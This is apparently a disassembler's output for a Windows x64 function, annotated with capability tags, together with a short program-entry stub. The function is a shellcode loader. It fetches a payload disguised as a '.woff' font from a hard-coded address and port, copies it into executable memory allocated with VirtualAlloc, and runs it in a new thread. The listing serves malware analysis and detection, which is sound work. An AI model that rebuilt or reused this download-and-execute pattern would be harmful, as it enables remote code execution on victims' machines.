Function at 0x1400b8520
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
call fcn.140001a70
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f720
lea rax, str.http:__192.168.81.112:8080_aaa.woff
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 8]
mov rcx, rax
call fcn.140001450
test eax, eax
sete al
test al, al
je 0x140001bd3
lea rax, str.Error:_Unable_to_retrieve_the_specified_URI._n
mov rcx, rax
call fcn.1400175f0
mov ebx, 1
jmp 0x140001d00
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140026620
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001c20
lea rax, str.VirtualAlloc_failed_n
mov rcx, rax
call fcn.1400175f0
mov ebx, 1
jmp 0x140001d00
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140026620
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f610
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [0x140001b45]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140001cbb
lea rax, str.CreateThread_failed_n
mov rcx, rax
call fcn.1400175f0
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
jmp 0x140001d00
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.14009f740
mov eax, ebx
jmp 0x140001d2a
add rsp, 0x78
pop rbx
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000bb10
call fcn.140016a50
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400b856b
jmp 0x1400b85e1
test cl, cl
je 0x1400b8598
and esi, 1
je 0x1400b8580
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x1400b8567
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400b8548
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400b8556
test cl, cl
je 0x1400b8598
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400b8598
cmp al, 0x20
jle 0x1400b8588
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400b85c6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400c33b0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001b6a
lea rbx, [0x1400c1d20]
jmp 0x1400b8598